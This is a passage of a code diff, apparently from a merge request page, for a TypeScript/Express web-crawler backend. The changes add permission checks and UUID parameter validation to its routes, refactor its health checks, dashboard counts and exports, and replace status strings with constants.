by: ["status"],
_count: { status: true },
where: pageWhere,
}),
prisma.crawlPage.count({ where: pageWhere }),
prisma.crawlPage.count({
where: { ...pageWhere, status: CrawlPageStatus.SUCCESS },
}),
prisma.crawlPage.count({
where: { ...pageWhere, status: CrawlPageStatus.FAILED },
}),
prisma.crawlSchedule.count({
where: { ...scheduleWhere, isActive: true },
}),
......@@ -54,18 +37,32 @@ export class DashboardRepository {
prisma.crawlExport.count({ where: exportWhere }),
]);
const jobCounts: Record<string, number> = {};
let totalJobs = 0;
for (const group of jobStatusGroups) {
jobCounts[group.status] = group._count.status;
totalJobs += group._count.status;
}
const pageCounts: Record<string, number> = {};
for (const group of pageStatusGroups) {
pageCounts[group.status] = group._count.status;
}
return {
jobs: {
total: totalJobs,
completed: completedJobs,
failed: failedJobs,
running: runningJobs,
pending: pendingJobs,
completed: jobCounts[JOB_STATUS.COMPLETED] ?? 0,
failed: jobCounts[JOB_STATUS.FAILED] ?? 0,
running: jobCounts[JOB_STATUS.RUNNING] ?? 0,
pending:
(jobCounts[JOB_STATUS.PENDING] ?? 0) +
(jobCounts[JOB_STATUS.QUEUED] ?? 0),
},
pages: {
total: totalPagesCrawled,
successful: successfulPages,
failed: failedPages,
successful: pageCounts[CRAWL_PAGE_STATUS.SUCCESS] ?? 0,
failed: pageCounts[CRAWL_PAGE_STATUS.FAILED] ?? 0,
},
schedules: {
total: totalSchedules,
......
import { Router } from "express";
import { DashboardController } from "./dashboard.controller";
import { authMiddleware } from "../../middlewares/auth.middleware";
import { requirePermission } from "../../middlewares/permission.middleware";
import { PERMISSIONS } from "../../common/constants/permission.constant";
const router = Router();
const controller = new DashboardController();
router.get("/stats", authMiddleware, controller.getStats);
router.get(
"/stats",
authMiddleware,
requirePermission(PERMISSIONS.DASHBOARD_READ),
controller.getStats,
);
export default router;
......@@ -60,17 +60,22 @@ export class JsonExportService extends BaseExportService {
fs.writeFileSync(filePath, JSON.stringify(wrapper, null, 2), "utf-8");
// 1. Xuất pages.raw.json (Lọc bỏ các trường dữ liệu sạch & chất lượng)
const rawPages = pages.map(
({
cleanText: _cleanText,
mainContent: _mainContent,
wordCount: _wordCount,
contentHash: _contentHash,
dataQualityScore: _dataQualityScore,
warnings: _warnings,
...rawFields
}) => rawFields,
);
const rawPages = pages.map((page) => ({
id: page.id,
jobId: page.jobId,
url: page.url,
normalizedUrl: page.normalizedUrl,
status: page.status,
statusCode: page.statusCode,
errorMessage: page.errorMessage,
title: page.title,
description: page.description,
rawMarkdown: page.rawMarkdown,
links: page.links,
images: page.images,
tables: page.tables,
crawledAt: page.crawledAt,
}));
const { filePath: rawFilePath } = buildJobDataRawFilePath(
job.id,
JOB_EXPORT_FILES.PAGES_RAW_JSON,
......@@ -79,9 +84,27 @@ export class JsonExportService extends BaseExportService {
fs.writeFileSync(rawFilePath, JSON.stringify(rawWrapper, null, 2), "utf-8");
// 2. Xuất pages.clean.json (Lọc bỏ trường rawMarkdown)
const cleanPages = pages.map(
({ rawMarkdown: _rawMarkdown, ...cleanFields }) => cleanFields,
);
const cleanPages = pages.map((page) => ({
id: page.id,
jobId: page.jobId,
url: page.url,
normalizedUrl: page.normalizedUrl,
status: page.status,
statusCode: page.statusCode,
errorMessage: page.errorMessage,
title: page.title,
description: page.description,
cleanText: page.cleanText,
mainContent: page.mainContent,
wordCount: page.wordCount,
contentHash: page.contentHash,
dataQualityScore: page.dataQualityScore,
warnings: page.warnings,
links: page.links,
images: page.images,
tables: page.tables,
crawledAt: page.crawledAt,
}));
const { filePath: cleanFilePath } = buildJobDataCleanFilePath(
job.id,
JOB_EXPORT_FILES.PAGES_CLEAN_JSON,
......
......@@ -11,6 +11,7 @@ import {
buildCrawlResultZipName,
} from "../../common/constants/storage-path.constant";
import { EXPORT_MIME_TYPES } from "../../common/constants/export-type.constant";
import { CRAWL_PAGE_STATUS } from "../../common/constants/crawl-page-status.constant";
import {
buildJobLogsFilePath,
buildJobRootFilePath,
......@@ -101,9 +102,13 @@ export class ZipExportService extends BaseExportService {
private writeSummary(job: CrawlJob & { pages: CrawlPage[] }): void {
const { filePath } = buildJobRootFilePath(job.id, JOB_EXPORT_FILES.SUMMARY);
const successPages = job.pages.filter((p) => p.status === "SUCCESS").length;
const successPages = job.pages.filter(
(p) => p.status === CRAWL_PAGE_STATUS.SUCCESS,
).length;
const failedPages = job.pages.filter(
(p) => p.status !== "SUCCESS" && p.status !== "SKIPPED",
(p) =>
p.status !== CRAWL_PAGE_STATUS.SUCCESS &&
p.status !== CRAWL_PAGE_STATUS.SKIPPED,
).length;
const summary = {
......@@ -125,9 +130,9 @@ export class ZipExportService extends BaseExportService {
const errors = job.pages
.filter(
(p) =>
p.status !== "SUCCESS" &&
p.status !== "PENDING" &&
p.status !== "SKIPPED",
p.status !== CRAWL_PAGE_STATUS.SUCCESS &&
p.status !== CRAWL_PAGE_STATUS.PENDING &&
p.status !== CRAWL_PAGE_STATUS.SKIPPED,
)
.map((p) => ({
url: p.url,
......@@ -145,12 +150,14 @@ export class ZipExportService extends BaseExportService {
JOB_EXPORT_FILES.DATA_QUALITY_JSON,
);
const successPages = job.pages.filter((p) => p.status === "SUCCESS");
const successPages = job.pages.filter(
(p) => p.status === CRAWL_PAGE_STATUS.SUCCESS,
);
const errorPages = job.pages.filter(
(p) =>
p.status !== "SUCCESS" &&
p.status !== "SKIPPED" &&
p.status !== "PENDING",
p.status !== CRAWL_PAGE_STATUS.SUCCESS &&
p.status !== CRAWL_PAGE_STATUS.SKIPPED &&
p.status !== CRAWL_PAGE_STATUS.PENDING,
);
const seenHashes = new Set<string>();
......
import { Router } from "express";
import { ExtractionTemplateController } from "./extraction-template.controller";
import { authMiddleware } from "../../middlewares/auth.middleware";
import { validate } from "../../middlewares/validate.middleware";
import { requirePermission } from "../../middlewares/permission.middleware";
import { PERMISSIONS } from "../../common/constants/permission.constant";
import {
validate,
validateParams,
} from "../../middlewares/validate.middleware";
import {
createExtractionTemplateSchema,
updateExtractionTemplateSchema,
extractionTemplateParamsSchema,
} from "./extraction-template.validation";
const router = Router();
......@@ -12,14 +18,35 @@ const controller = new ExtractionTemplateController();
router.use(authMiddleware);
router.post("/", validate(createExtractionTemplateSchema), controller.create);
router.get("/", controller.findAll);
router.get("/:id", controller.findById);
router.post(
"/",
requirePermission(PERMISSIONS.EXTRACTION_TEMPLATES_CREATE),
validate(createExtractionTemplateSchema),
controller.create,
);
router.get(
"/",
requirePermission(PERMISSIONS.EXTRACTION_TEMPLATES_READ),
controller.findAll,
);
router.get(
"/:id",
requirePermission(PERMISSIONS.EXTRACTION_TEMPLATES_READ),
validateParams(extractionTemplateParamsSchema),
controller.findById,
);
router.patch(
"/:id",
requirePermission(PERMISSIONS.EXTRACTION_TEMPLATES_UPDATE),
validateParams(extractionTemplateParamsSchema),
validate(updateExtractionTemplateSchema),
controller.update,
);
router.delete("/:id", controller.delete);
router.delete(
"/:id",
requirePermission(PERMISSIONS.EXTRACTION_TEMPLATES_DELETE),
validateParams(extractionTemplateParamsSchema),
controller.delete,
);
export default router;
......@@ -27,3 +27,7 @@ export const updateExtractionTemplateSchema = z.object({
name: z.string().min(1).optional(),
fields: z.array(extractionFieldSchema).min(1).optional(),
});
export const extractionTemplateParamsSchema = z.object({
id: z.string().uuid("Invalid template ID format"),
});
import { HealthService } from "../health.service";
import { prisma } from "../../../database/prisma.client";
import { HealthRepository } from "../health.repository";
jest.mock("../../../database/prisma.client", () => ({
prisma: {
$queryRaw: jest.fn(),
},
}));
jest.mock("../health.repository");
jest.mock("../../../queues/crawl.queue", () => ({
crawlQueue: {
......@@ -28,10 +24,12 @@ jest.mock("../../../queues/webhook.queue", () => ({
describe("HealthService", () => {
let service: HealthService;
let mockHealthRepo: jest.Mocked<HealthRepository>;
beforeEach(() => {
jest.clearAllMocks();
service = new HealthService();
mockHealthRepo = new HealthRepository() as jest.Mocked<HealthRepository>;
service = new HealthService(mockHealthRepo);
});
describe("getLiveness", () => {
......@@ -45,7 +43,7 @@ describe("HealthService", () => {
describe("getReadiness", () => {
it("returns ready status when database is up", async () => {
(prisma.$queryRaw as jest.Mock).mockResolvedValue([{ 1: 1 }]);
mockHealthRepo.pingDatabase.mockResolvedValue();
const result = await service.getReadiness();
expect(result.status).toBe("ready");
......@@ -54,7 +52,7 @@ describe("HealthService", () => {
});
it("returns unhealthy status when database query fails", async () => {
(prisma.$queryRaw as jest.Mock).mockRejectedValue(
mockHealthRepo.pingDatabase.mockRejectedValue(
new Error("Connection timeout"),
);
......
import { prisma } from "../../database/prisma.client";
export class HealthRepository {
async pingDatabase(): Promise<void> {
await prisma.$queryRaw`SELECT 1`;
}
}
import { prisma } from "../../database/prisma.client";
import { HealthRepository } from "./health.repository";
import { crawlQueue } from "../../queues/crawl.queue";
import { webhookQueue } from "../../queues/webhook.queue";
import { getErrorMessage } from "../../common/helpers/error-mapping.helper";
......@@ -13,6 +13,8 @@ export interface QueueCountMetrics {
export type QueueMetricsResult = QueueCountMetrics | "unavailable" | null;
export class HealthService {
constructor(private readonly repository = new HealthRepository()) {}
getLiveness() {
return {
status: "ok",
......@@ -32,7 +34,7 @@ export class HealthService {
// 1. Check Database
const dbStart = Date.now();
try {
await prisma.$queryRaw`SELECT 1`;
await this.repository.pingDatabase();
checks.database = {
status: "up",
latencyMs: Date.now() - dbStart,
......
......@@ -3,6 +3,8 @@ import { PermissionController } from "./permission.controller";
import { authMiddleware } from "../../middlewares/auth.middleware";
import { requirePermission } from "../../middlewares/permission.middleware";
import { PERMISSIONS } from "../../common/constants/permission.constant";
import { validateParams } from "../../middlewares/validate.middleware";
import { permissionParamsSchema } from "./permission.validation";
const router = Router();
const controller = new PermissionController();
......@@ -18,6 +20,7 @@ router.get(
"/:id",
authMiddleware,
requirePermission(PERMISSIONS.PERMISSIONS_READ),
validateParams(permissionParamsSchema),
controller.findById,
);
......
import { z } from "zod";
export const permissionParamsSchema = z.object({
id: z.string().uuid("Invalid permission ID format"),
});
......@@ -76,6 +76,22 @@ export class RoleRepository {
});
}
async findByIds(ids: string[]) {
return prisma.role.findMany({
where: { id: { in: ids } },
include: {
rolePermissions: {
include: {
permission: true,
},
},
_count: {
select: { userRoles: true },
},
},
});
}
async findBySlug(slug: string) {
return prisma.role.findUnique({
where: { slug },
......
......@@ -2,12 +2,17 @@ import { Router } from "express";
import { RoleController } from "./role.controller";
import { authMiddleware } from "../../middlewares/auth.middleware";
import { requirePermission } from "../../middlewares/permission.middleware";
import { validate, validateQuery } from "../../middlewares/validate.middleware";
import {
validate,
validateQuery,
validateParams,
} from "../../middlewares/validate.middleware";
import {
createRoleSchema,
updateRoleSchema,
assignRolePermissionsSchema,
listRolesQuerySchema,
roleParamsSchema,
} from "./role.validation";
import { PERMISSIONS } from "../../common/constants/permission.constant";
......@@ -26,6 +31,7 @@ router.get(
"/:id",
authMiddleware,
requirePermission(PERMISSIONS.ROLES_READ),
validateParams(roleParamsSchema),
controller.findById,
);
......@@ -41,6 +47,7 @@ router.patch(
"/:id",
authMiddleware,
requirePermission(PERMISSIONS.ROLES_UPDATE),
validateParams(roleParamsSchema),
validate(updateRoleSchema),
controller.update,
);
......@@ -49,6 +56,7 @@ router.delete(
"/:id",
authMiddleware,
requirePermission(PERMISSIONS.ROLES_DELETE),
validateParams(roleParamsSchema),
controller.delete,
);
......@@ -56,6 +64,7 @@ router.get(
"/:id/permissions",
authMiddleware,
requirePermission(PERMISSIONS.ROLES_PERMISSIONS_READ),
validateParams(roleParamsSchema),
controller.getRolePermissions,
);
......@@ -63,6 +72,7 @@ router.put(
"/:id/permissions",
authMiddleware,
requirePermission(PERMISSIONS.ROLES_PERMISSIONS_ASSIGN),
validateParams(roleParamsSchema),
validate(assignRolePermissionsSchema),
controller.setRolePermissions,
);
......@@ -71,6 +81,7 @@ router.get(
"/:id/users",
authMiddleware,
requirePermission(PERMISSIONS.ROLES_READ),
validateParams(roleParamsSchema),
controller.getRoleUsers,
);
......
......@@ -67,3 +67,12 @@ export const listRolesQuerySchema = z.object({
)
.optional(),
});
export const roleParamsSchema = z.object({
id: z.string().uuid("Invalid role ID format"),
});
export const rolePermissionParamsSchema = z.object({
id: z.string().uuid("Invalid role ID format"),
permissionId: z.string().uuid("Invalid permission ID format"),
});
......@@ -154,6 +154,21 @@ export class UserRepository {
where: { userId: id },
});
await tx.crawlSchedule.updateMany({
where: { userId: id },
data: { isActive: false },
});
await tx.apiKey.updateMany({
where: { userId: id },
data: { isActive: false },
});
await tx.webhookConfig.updateMany({
where: { userId: id },
data: { isActive: false },
});
return user;
});
}
......
......@@ -2,12 +2,18 @@ import { Router } from "express";
import { UserController } from "./user.controller";
import { authMiddleware } from "../../middlewares/auth.middleware";
import { requirePermission } from "../../middlewares/permission.middleware";
import { validate, validateQuery } from "../../middlewares/validate.middleware";
import {
validate,
validateQuery,
validateParams,
} from "../../middlewares/validate.middleware";
import {
createUserSchema,
updateUserSchema,
listUsersQuerySchema,
assignUserRolesSchema,
userParamsSchema,
userRoleAssignmentParamsSchema,
} from "./user.validation";
import { PERMISSIONS } from "../../common/constants/permission.constant";
......@@ -26,6 +32,7 @@ router.get(
"/:id",
authMiddleware,
requirePermission(PERMISSIONS.USERS_READ),
validateParams(userParamsSchema),
controller.findById,
);
......@@ -44,6 +51,7 @@ router.put(
"/:id",
authMiddleware,
requirePermission(PERMISSIONS.USERS_UPDATE),
validateParams(userParamsSchema),
validate(updateUserSchema),
(req, res, next) => {
// #swagger.requestBody = { schema: { $ref: '#/components/schemas/UpdateUserRequest' } }
......@@ -55,14 +63,15 @@ router.delete(
"/:id",
authMiddleware,
requirePermission(PERMISSIONS.USERS_DELETE),
validateParams(userParamsSchema),
controller.delete,
);
// User Roles Management
router.get(
"/:id/roles",
authMiddleware,
requirePermission(PERMISSIONS.USERS_ROLES_READ),
validateParams(userParamsSchema),
controller.getUserRoles,
);
......@@ -70,6 +79,7 @@ router.put(
"/:id/roles",
authMiddleware,
requirePermission(PERMISSIONS.USERS_ROLES_ASSIGN),
validateParams(userParamsSchema),
validate(assignUserRolesSchema),
controller.assignRoles,
);
......@@ -78,6 +88,7 @@ router.post(
"/:id/roles/:roleId",
authMiddleware,
requirePermission(PERMISSIONS.USERS_ROLES_ASSIGN),
validateParams(userRoleAssignmentParamsSchema),
controller.assignRole,
);
......@@ -85,6 +96,7 @@ router.delete(
"/:id/roles/:roleId",
authMiddleware,
requirePermission(PERMISSIONS.USERS_ROLES_ASSIGN),
validateParams(userRoleAssignmentParamsSchema),
controller.revokeRole,
);
......
......@@ -261,12 +261,9 @@ export class UserService {
await this.findById(targetUserId);
// 2. Fetch target roles to validate
const targetRoles = await Promise.all(
roleIds.map((id) => this.roleRepository.findById(id)),
);
const targetRoles = await this.roleRepository.findByIds(roleIds);
const missingRole = targetRoles.find((r) => !r);
if (missingRole || targetRoles.length !== roleIds.length) {
if (targetRoles.length !== roleIds.length) {
throw new AppError(
"One or more roles not found",
404,
......
......@@ -47,3 +47,12 @@ export const assignUserRolesSchema = z.object({
required_error: "roleIds array is required",
}),
});
export const userParamsSchema = z.object({
id: z.string().uuid("Invalid user ID format"),
});
export const userRoleAssignmentParamsSchema = z.object({
id: z.string().uuid("Invalid user ID format"),
roleId: z.string().uuid("Invalid role ID format"),
});
......@@ -7,6 +7,7 @@ import { getErrorMessage } from "../../common/helpers/error-mapping.helper";
import { AppError } from "../../common/errors/app-error";
import { ERROR_CODE } from "../../common/errors/error-code";
import { WEBHOOK_DELIVERY_STATUS } from "../../common/constants/webhook.constant";
export class WebhookDeliveryService {
private readonly repository = new WebhookRepository();
......@@ -40,7 +41,7 @@ export class WebhookDeliveryService {
crawlJobId,
event,
payload,
status: "PENDING",
status: WEBHOOK_DELIVERY_STATUS.PENDING,
attempt: 1,
});
......@@ -100,7 +101,7 @@ export class WebhookDeliveryService {
: JSON.stringify(response.data);
await this.repository.updateDelivery(deliveryId, {
status: "SUCCESS",
status: WEBHOOK_DELIVERY_STATUS.SUCCESS,
statusCode: response.status,
responseBody: responseBody.substring(0, 2000), // Limit size stored in DB
deliveredAt: new Date(),
......@@ -141,7 +142,7 @@ export class WebhookDeliveryService {
*/
async markFailed(deliveryId: string, errorReason: string): Promise<void> {
await this.repository.updateDelivery(deliveryId, {
status: "FAILED",
status: WEBHOOK_DELIVERY_STATUS.FAILED,
errorMessage:
`Max attempts exhausted. Last error: ${errorReason}`.substring(0, 1000),
});
......@@ -162,7 +163,7 @@ export class WebhookDeliveryService {
}
const updated = await this.repository.updateDelivery(deliveryId, {
status: "PENDING",
status: WEBHOOK_DELIVERY_STATUS.PENDING,
attempt: 1,
errorMessage: null,
});
......
import { Router } from "express";
import { WebhookController } from "./webhook.controller";
import { authMiddleware } from "../../middlewares/auth.middleware";
import { validate, validateQuery } from "../../middlewares/validate.middleware";
import { requirePermission } from "../../middlewares/permission.middleware";
import { PERMISSIONS } from "../../common/constants/permission.constant";
import {
validate,
validateQuery,
validateParams,
} from "../../middlewares/validate.middleware";
import {
createWebhookConfigSchema,
updateWebhookConfigSchema,
listWebhookDeliveriesQuerySchema,
webhookParamsSchema,
} from "./webhook.validation";
const router = Router();
......@@ -14,24 +21,51 @@ const controller = new WebhookController();
router.post(
"/configs",
authMiddleware,
requirePermission(PERMISSIONS.WEBHOOKS_CREATE),
validate(createWebhookConfigSchema),
controller.createConfig,
);
router.get("/configs", authMiddleware, controller.listConfigs);
router.get(
"/configs",
authMiddleware,
requirePermission(PERMISSIONS.WEBHOOKS_READ),
controller.listConfigs,
);
router.patch(
"/configs/:id",
authMiddleware,
requirePermission(PERMISSIONS.WEBHOOKS_UPDATE),
validateParams(webhookParamsSchema),
validate(updateWebhookConfigSchema),
controller.updateConfig,
);
router.delete("/configs/:id", authMiddleware, controller.deleteConfig);
router.post("/configs/:id/test", authMiddleware, controller.testConfig);
router.delete(
"/configs/:id",
authMiddleware,
requirePermission(PERMISSIONS.WEBHOOKS_DELETE),
validateParams(webhookParamsSchema),
controller.deleteConfig,
);
router.post(
"/configs/:id/test",
authMiddleware,
requirePermission(PERMISSIONS.WEBHOOKS_TEST),
validateParams(webhookParamsSchema),
controller.testConfig,
);
router.get(
"/deliveries",
authMiddleware,
requirePermission(PERMISSIONS.WEBHOOKS_READ),
validateQuery(listWebhookDeliveriesQuerySchema),
controller.listDeliveries,
);
router.post("/deliveries/:id/redeliver", authMiddleware, controller.redeliver);
router.post(
"/deliveries/:id/redeliver",
authMiddleware,
requirePermission(PERMISSIONS.WEBHOOKS_UPDATE),
validateParams(webhookParamsSchema),
controller.redeliver,
);
export default router;
......@@ -41,3 +41,7 @@ export const listWebhookDeliveriesQuerySchema = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(100).default(20),
});
export const webhookParamsSchema = z.object({
id: z.string().uuid("Invalid webhook ID format"),
});
......@@ -19,6 +19,9 @@ import {
import { runExtractionIfTemplate } from "../modules/extraction-templates/extraction-runner";
import { JOB_STATUS } from "../common/constants/job-status.constant";
import { CRAWL_MODE } from "../common/constants/crawl-mode.constant";
import { ASSET_TYPE } from "../common/constants/asset-type.constant";
import { CRAWL_PAGE_STATUS } from "../common/constants/crawl-page-status.constant";
import { WEBHOOK_EVENT } from "../common/constants/webhook.constant";
// Lazy getters — instantiated on first use so Jest mocks replace constructors before creation
const getJobRepository = () => new CrawlJobRepository();
const getPageRepository = () => new CrawlPageRepository();
......@@ -58,7 +61,7 @@ export async function savePageAssets(
assetsBatch.push({
jobId,
pageId,
assetType: "IMAGE" as const,
assetType: ASSET_TYPE.IMAGE,
url: img.url,
sourceUrl: item.url,
altText: img.alt || undefined,
......@@ -73,7 +76,7 @@ export async function savePageAssets(
assetsBatch.push({
jobId,
pageId,
assetType: "LINK" as const,
assetType: ASSET_TYPE.LINK,
url: link.url,
sourceUrl: item.url,
altText: link.text || undefined,
......@@ -87,7 +90,7 @@ export async function savePageAssets(
assetsBatch.push({
jobId,
pageId,
assetType: "PDF" as const,
assetType: ASSET_TYPE.PDF,
url: pdfUrl,
sourceUrl: item.url,
orderIndex: index + 1,
......@@ -196,7 +199,7 @@ export async function persistBatchResults(
const normalized = getPageProcessor().normalizeFailedPage(
{ url: blockedUrl, error: "Blocked by robots.txt" },
jobId,
"BLOCKED",
CRAWL_PAGE_STATUS.BLOCKED,
);
await getPageRepository().upsert(normalized);
failedCount++;
......@@ -581,8 +584,8 @@ export async function processCrawlJob(job: Job): Promise<void> {
const event =
updatedJob.status === JOB_STATUS.COMPLETED
? "job.completed"
: "job.failed";
? WEBHOOK_EVENT.JOB_COMPLETED
: WEBHOOK_EVENT.JOB_FAILED;
void logStep(
jobId,
updatedJob.status === JOB_STATUS.COMPLETED ? "INFO" : "ERROR",
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment